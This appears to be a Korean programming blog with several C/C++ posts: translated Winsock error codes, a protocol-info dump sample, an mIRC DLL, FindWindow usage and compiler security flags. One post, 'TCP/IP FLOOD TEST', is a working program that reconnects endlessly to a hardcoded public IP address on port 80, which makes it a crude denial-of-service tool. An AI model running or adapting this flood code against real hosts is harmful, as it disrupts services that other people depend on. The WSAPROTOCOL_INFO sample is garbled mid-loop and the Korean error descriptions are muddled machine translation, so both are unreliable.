WSAHOST_NOT_FOUND (11001)
번역 : 호스트를 찾을 수 없습니다. 같은 호스트에 알려져 있습니다.
설명 : 이름이 공식 호스트 이름 또는 별칭이 있지 않거나 쿼리됩니다 중인 데이터베이스에서 찾을 수 없습니다. 이 오류는 또한 반환될 수 있습니다 프로토콜 및 서비스 쿼리 및 해당 의미합니다 지정한 이름을 관련 데이터베이스에서 찾을 수 없습니다.

WSATRY_AGAIN (11002)
번역 : 신뢰할 수 없는 호스트를 찾을 수 없습니다.
설명 : 이 오류는 일반적으로 일시적인 오류가 호스트 이름 확인에서 있고 즉, 로컬 서버가 신뢰할 만한 서버에서 응답을 받지 않았습니다. 일부 시간에 나중에 다시 시도 성공할 수 있습니다.

WSANO_RECOVERY (11003)
번역 : 이것은 복구할 수 없는 오류가 있습니다.
설명 : 이 오류는 데이터베이스 조회 중에 일종의 복구할 수 없는 오류가 발생했습니다. 데이터베이스 파일 (예: BSD 호환 HOSTS, 서비스나 프로토콜을 파일) 찾을 수 없습니다 DNS 요청을 서버에 심각한 오류가 반환되었습니다 이 오류가 발생할 수 있습니다.

WSANO_DATA (11004)
번역 : 올바른 이름, 요청된 형식의 데이터 레코드가 없습니다.
설명 : 요청된 이름이 유효하고 데이터베이스에 찾을 있지만에 대한 확인되는 올바른 관련된 데이터를 있지 않습니다. 이 일반적인 예는 있는 호스트 이름을 주소 변환 시도가 gethostbyname [Wsapiref_0q5u.asp] 또는 [Wsapiref_7bhu.asp] WSAAsyncGetHostByName 사용하여 DNS 서버를 사용하는 것입니다. A 레코드는 있지만 MX 레코드가 반환됩니다. 자체의 호스트 존재하지만 직접 연결할 수 없는 의미입니다.

WSA_INVALID_HANDLE (운영 체제 종속)
번역 : 지정된 이벤트 개체 핸들이 잘못되었습니다.
설명 : 프로그램이 이벤트 개체를 사용하려고 했지만 지정된 핸들이 올바르지 않습니다.

WSA_INVALID_PARAMETER (운영 체제 종속)
번역 : 하나 이상의 매개 변수가 잘못되었습니다.
설명 : 프로그램이 Win32 함수를 직접 매핑되는 Windows 소켓 함수를 사용했습니다. Win32 함수를 하나 이상의 매개 변수 사용하여 문제를 나타내는 것입니다.

WSA_IO_INCOMPLETE (운영 체제 종속)
번역 : 이벤트 개체가 겹친된 I/O에 신호를 받지 상태.
설명 : 프로그램이 아직 완료되지 않은 겹쳐진 작업의 상태를 확인할 했습니다. 겹쳐진된 작업이 완료된 시기를 결정하려면 폴링 모드로 WSAGetOverlappedResult (fWait 플래그가 설정된 FALSE로) 사용하는 프로그램을 작업이 완료될 때까지 이 오류 코드를 받습니다.

WSA_IO_PENDING (운영 체제 종속)
번역 : 겹쳐진된 작업은 나중에 완료됩니다.
설명 : 프로그램이 즉시 완료할 수 있는 겹쳐진된 작업을 시작했습니다. 작업이 끝나면 완료 표시는 나중에 보내집니다.

WSA_NOT_ENOUGH_MEMORY (운영 체제 종속)
번역 : 사용 가능한 메모리가 부족합니다.
설명 : 프로그램이 Win32 함수를 직접 매핑되는 Windows 소켓 함수를 사용했습니다. Win32 함수를 필요한 메모리 리소스가 부족하거나를 나타내는 것입니다.

WSA_OPERATION_ABORTED (운영 체제 종속)
번역 : 겹친 작업이 중단되었습니다.
설명 : 소켓이 닫혔습니다 않았거나 WSAIoctl (Wsapiref_6ik2.asp) SIO_FLUSH 명령을 실행한 때문에 겹쳐진된 작업의 취소되었습니다.

WSAINVALIDPROCTABLE (운영 체제 종속)
변환 : 잘못된 프로시저 서비스 공급자 테이블의.
설명 : 서비스 공급자가 있는 Ws2_32.dll 잘못된 프로시저 테이블 돌아갑니다. (일반적으로 원인입니다 null 중인 함수 포인터 중 하나 이상을.)

WSAINVALIDPROVIDER (운영 체제 종속)
변환 : 잘못된 서비스 공급자 버전 번호입니다.
설명 : 있는 서비스 공급자 2.0 이외의 버전 번호가 반환됩니다.

WSAPROVIDERFAILEDINIT (운영 체제 종속)
번역 : 서비스 공급자를 초기화할 수 없습니다.
설명 : 양쪽 서비스 공급자의 DLL을 수 없습니다. LoadLibrary 실패한 로드되거나 공급자의 WSPStartup/NSPStartup 함수가 실패했습니다.

WSASYSCALLFAILURE (운영 체제 종속)
번역 : 시스템 호출 오류.
설명 : 장애가 절대로 시스템 호출이 실패하면 이 오류가 반환됩니다. 예를 들어, 이 오류는 WaitForMultipleObjects에 대한 호출을 실패하거나 프로토콜 또는 이름 공간을 카탈로그를 변경하려는 레지스트리 함수 중 하나에 실패하면 발생합니다.


출저 : MS [가기]
저작자 표시 동일 조건 변경 허락
신고

WSAPROTOCOL_INFO 내용 출력방법

C/C++

다음과 같은 코드로  WSAPROTOCOL_INFO의 내용들을 볼수 있습니다.


   #include 
   #include 
   #include 

   static void PrintBufEntry(WSAPROTOCOL_INFO *pProtocolBuf);


   int main(int argc, char *argv[])
       {
       WSADATA WSAData;
       int i, nRet;
       DWORD dwErr;
       WSAPROTOCOL_INFO *lpProtocolBuf = NULL;
       DWORD dwBufLen = 0;


       if (WSAStartup(MAKEWORD(2,2), &WSAData))
           printf("WSAStartup %d", WSAGetLastError());
       else
           {
           // First, have WSAEnumProtocols tell you how big a buffer you
           // need.
           nRet = WSAEnumProtocols(NULL, lpProtocolBuf, &dwBufLen);
           if (SOCKET_ERROR != nRet)
               printf("WSAEnumProtocols: should not have succeeded\n");
           else if (WSAENOBUFS != (dwErr = WSAGetLastError()))
               // WSAEnumProtocols failed for some reason not relating
               // to buffer size - also odd.
               printf("WSAEnumProtocols(1): %d\n", WSAGetLastError());
           else
               {
               // WSAEnumProtocols failed for the "expected" reason.
               // Now you need to allocate a buffer that is the right size.
               lpProtocolBuf = (WSAPROTOCOL_INFO *)malloc(dwBufLen);
               if (lpProtocolBuf)
                   {
                   // Now you can call WSAEnumProtocols again with the
                   // expectation that it will succeed
                   // because you have allocated a big enough buffer.
                   nRet = WSAEnumProtocols(NULL, lpProtocolBuf, &dwBufLen);
                   if (SOCKET_ERROR == nRet)
                       printf("WSAEnumProtocols(3): %d\n",
                               WSAGetLastError());
                   else
                       {
                       // Enumerate the protocols.
                       for (i=0; i<%s>\n", pProtocolBuf->szProtocol);

       // A guid is the same as a uuid.
       UuidToString(&pProtocolBuf->ProviderId, &pszUuid);
       printf("  ProviderId {%s}\n", pszUuid);
       RpcStringFree(&pszUuid);

       if (!pProtocolBuf->dwServiceFlags1)
           printf("  dwServiceFlags1: 0\n");
       else
           printf("  dwServiceFlags1: 0x%08X\n",
                     pProtocolBuf->dwServiceFlags1);

       // Check which bit flags are set.
       if (pProtocolBuf->dwServiceFlags1 & XP1_CONNECTIONLESS)
           printf("    XP1_CONNECTIONLESS\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_GUARANTEED_DELIVERY)
           printf("    XP1_GUARANTEED_DELIVERY\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_GUARANTEED_ORDER)
           printf("    XP1_GUARANTEED_ORDER\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_MESSAGE_ORIENTED)
           printf("    XP1_MESSAGE_ORIENTED\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_PSEUDO_STREAM)
           printf("    XP1_PSEUDO_STREAM\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_GRACEFUL_CLOSE)
           printf("    XP1_GRACEFUL_CLOSE\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_EXPEDITED_DATA)
           printf("    XP1_EXPEDITED_DATA\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_CONNECT_DATA)
           printf("    XP1_CONNECT_DATA\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_DISCONNECT_DATA)
           printf("    XP1_DISCONNECT_DATA\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_SUPPORT_BROADCAST)
           printf("    XP1_SUPPORT_BROADCAST\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_SUPPORT_MULTIPOINT)
           printf("    XP1_SUPPORT_MULTIPOINT\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_MULTIPOINT_CONTROL_PLANE)
           printf("    XP1_MULTIPOINT_CONTROL_PLANE\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_MULTIPOINT_DATA_PLANE)
           printf("    XP1_MULTIPOINT_DATA_PLANE\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_QOS_SUPPORTED)
           printf("    XP1_QOS_SUPPORTED\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_INTERRUPT)
           printf("    XP1_INTERRUPT\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_UNI_SEND)
           printf("    XP1_UNI_SEND\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_UNI_RECV)
           printf("    XP1_UNI_RECV\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_IFS_HANDLES)
           printf("    XP1_IFS_HANDLES\n");
       if (pProtocolBuf->dwServiceFlags1 & XP1_PARTIAL_MESSAGE)
           printf("    XP1_PARTIAL_MESSAGE\n");

       printf("  dwServiceFlags2: reserved\n");

       printf("  dwServiceFlags3: reserved\n");

       printf("  dwServiceFlags4: reserved\n");

       printf("  dwProviderFlags:\n");
       if (pProtocolBuf->dwProviderFlags & PFL_MULTIPLE_PROTO_ENTRIES)
           printf("    PFL_MULTIPLE_PROTO_ENTRIES\n");
       if (pProtocolBuf->dwProviderFlags & PFL_RECOMMENDED_PROTO_ENTRY)
           printf("    PFL_RECOMMENDED_PROTO_ENTRY\n");
       if (pProtocolBuf->dwProviderFlags & PFL_HIDDEN)
           printf("    PFL_HIDDEN\n");
       if (pProtocolBuf->dwProviderFlags & PFL_MATCHES_PROTOCOL_ZERO)
           printf("    PFL_MATCHES_PROTOCOL_ZERO\n");

       printf("  dwCatalogEntryId = %u\n", pProtocolBuf->dwCatalogEntryId);

       printf("  ProtocolChain.ChainLen = %d ",
              pProtocolBuf->ProtocolChain.ChainLen);
       if (1 == pProtocolBuf->ProtocolChain.ChainLen)
           printf("  ==> this is a base service provider\n");
       else if (pProtocolBuf->ProtocolChain.ChainLen > 1)
           {
           printf("  ==>
                  ProtocolChain layered to base protocol\n");
           for (j=0; jProtocolChain.ChainLen; j++)
               printf("    Chain Catalog Entry Id = %u\n",
                      pProtocolBuf->ProtocolChain.ChainEntries[j]);
           }
       else if (0 == pProtocolBuf->ProtocolChain.ChainLen)
           printf("  ==> this is a layered service provider\n");
       else
           printf("  Invalid\n");

       printf("  iVersion = %d\n", pProtocolBuf->iVersion);

       printf("  iAddressFamily = %d\n", pProtocolBuf->iAddressFamily);

       printf("  iMaxSockAddr = %d\n", pProtocolBuf->iMaxSockAddr);

       printf("  iMinSockAddr = %d\n", pProtocolBuf->iMinSockAddr);

       // iProtocols returns a negative number for Microsoft NetBIOS
       // service providers corresponding to the lana number * -1 (for
       // example, -2 implies lana 2), except for lana 0 which is equal to
       // 0x80000000 because protocol 0 is reserved for special use.
       printf("  iProtocol = %d\n", pProtocolBuf->iProtocol);

       printf("  iProtocolMaxOffset = %d\n",
              pProtocolBuf->iProtocolMaxOffset);

       printf("  iNetworkByteOrder = %s\n",
           ((pProtocolBuf->iNetworkByteOrder == LITTLEENDIAN) ?
             "LITTLEENDIAN" : "BIGENDIAN"));

       printf("  iSecurityScheme = %d\n", pProtocolBuf->iSecurityScheme);

       printf("  dwMessageSize = %u\n", pProtocolBuf->dwMessageSize);

       printf("  dwProviderReserved = reserved\n");

       return;
       }
				


컴파일할때 꼭 Ws2_32.lib 와 Rpcrt4.lib 를 같이 링크해주세요.
저작자 표시 동일 조건 변경 허락
신고

TCP/IP FLOOD TEST

C/C++

// tcpflood.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>


int main(int argc, char* argv[])
{


	SOCKET s;
	WSADATA       WsaData;          
	struct sockaddr_in server;

socket_re:

	WSAStartup(MAKEWORD(2,2) , &WsaData);
	s = socket( PF_INET, SOCK_STREAM, 0 );

	memset( &server, 0, sizeof(struct sockaddr) );
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = inet_addr("112.166.176.6");	
	server.sin_port = htons( atoi("80") );

	if( connect( s, (struct sockaddr*)&server, sizeof( struct sockaddr ) ) < 0 ) {
		printf("접속 실패...\n");
		goto socket_exit;
	}
	
	printf("x");

	send(s, "GET / HTTP/1.1",16,0);

	WSACleanup();

	goto socket_re;

socket_exit:	

	closesocket( s );	// close(s);
	
	WSACleanup();		// WinSock DLL을 비사용
	printf("Hello World!\n");
	return 0;
}

저작자 표시 동일 조건 변경 허락
신고

fatal error C1010 : unexpected end of file while looking for precompiled header directive

C/C++

fatal error C1010 : unexpected end of file while looking for precompiled header directive



C++ 빌드중 이와같은 오류가 발생하였습니다.

그 이유는 바로 미리 컴파일된 헤더문제였습니다.



프로젝트 - > 프로젝트 세팅




위와 같이 세팅하고 컴파일하니 아무 오류도 없었습니다~!


저작자 표시 동일 조건 변경 허락
신고

최선의 보안 구현 방법.

C/C++

일단 기본적인 보안방법입니다.

일단 오버런을 감지하는 방법입니다.

간단하게 링커에 커맨드라인에 추가하세요.


/GS(버퍼 보안 검사)

이 컴파일러 옵션은 악용될 위험이 있는 함수에 오버런 감지 코드를 삽입하도록 컴파일러에 지시합니다. 오버런이 감지되면 실행이 중지됩니다. 이 옵션은 기본적으로 설정되어 있습니다.

/SAFESEH(이미지에 안전한 예외 처리기 포함)

이 링커 옵션은 각 예외 처리기의 주소가 들어 있는 표를 출력 이미지에 포함하도록 링커에 지시합니다. 런타임에 운영 체제에서는 이 표를 사용하여 적합한 예외 처리기만 실행되도록 합니다. 이렇게 하면 런타임에 악의적인 공격으로 삽입된 예외 처리기가 실행되지 않도록 할 수 있습니다. 이 옵션은 기본적으로 비활성화됩니다.

/analyze(엔터프라이즈 코드 분석)

이 컴파일러 옵션은 버퍼 오버런, 초기화되지 않은 메모리, null 포인터 역참조 및 메모리 누수와 같은 잠재적인 보안 문제를 보고하는 코드 분석을 활성화합니다. 이 옵션은 기본적으로 비활성화됩니다. 자세한 내용은 C/C++용 코드 분석 개요를 참조하십시오.



[ http://msdn.microsoft.com/ko-kr/library/k3a3hzw7.aspx ]
저작자 표시 동일 조건 변경 허락
신고

VC++ 로 작성한 DLL mIRC 사용하기.

C/C++


#include <stdio.h>

int __stdcall funcName(HWND mWnd, HWND aWnd, char *data, char *parms, BOOL show, BOOL nopause)
 {
 
}




기본적인 소스 입니다. 

결과값을 반환하는방법은 2가지입니다.

1번째, 명령어를 반환합니다.

    _snprintf(data, 900, "/echo -a DLL TEST");
    return 2;



mIRC에서의 사용은

    $dll(testmirc.dll, funcname, _)



2번째, String(문자열)을 반환합니다.

    _snprintf(data, 900, "DLL TEST");
    return 3;


mIRC에서의 사용은

    /echo -a $dll(testmirc.dll, funcname, _)



그리고 DLL 의 함수들을 Exports 해줘야합니다.


LIBRARY DLLTEST
DESCRIPTION "DLL TEST"
EXPORTS
funcName




~~.def 에 넣어주면되겠습니다.

저작자 표시 동일 조건 변경 허락
신고

[API] 윈도우 핸들얻기.

C/C++

MSDN - http://msdn.microsoft.com/ko-kr/library/ykz4yxt5.aspx



FindWindow 함수로 창의 클래스(Class) , 윈도우 캡션 (Caption) 을 검색하여 얻어옵니다.


[비주얼 베이직 예제]

먼저 API를 선언합니다.

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long


함수부터 보겠습니다.

ByVal lpClassName As String ::: 클래스 네임을 조건입니다. 모두 검색할때에는 vbNullString 을 사용합니다.
ByVal lpWindowName As String : 윈도우 네임의 조건입니다. 모두 검색할때에는 vbNullString 을 사용합니다.

일단 메모장의 핸들을 얻어오는 간단한 예제를 만들어보아요

먼저, 메모장의 Class 네임을 알아야합니다. 간단하게 Spy++로 검색하시면됩니다.



위와 같이 클래스 네임이 "Notepad"로 됩니다.

자 이젠 작성을 해봅시다.

먼저 핸들을 저장할 변수를 선언합니다.

Dim hwdNotePad As Long

그리고 바로 윈도우핸들을 얻어옵니다.

hwdNotePad = FindWindow(vbNullString, "Notepad")

반환값은 실패시 0을 반환하며, 성공하면 찾은 핸들을 반환합니다.




[Visual C++]

먼저 <windows.h>헤더를 Include시킵니다.

#include <windows.h>


핸들을 저장할변수를 선언하죠.

HWND hwdNotePad;

핸들을 얻어와보죠.


hwndNotePad = FindWindow("Notepad",NULL);

비베와는 다르게 NULL을 사용합니다.


저작자 표시 동일 조건 변경 허락
신고

티스토리 툴바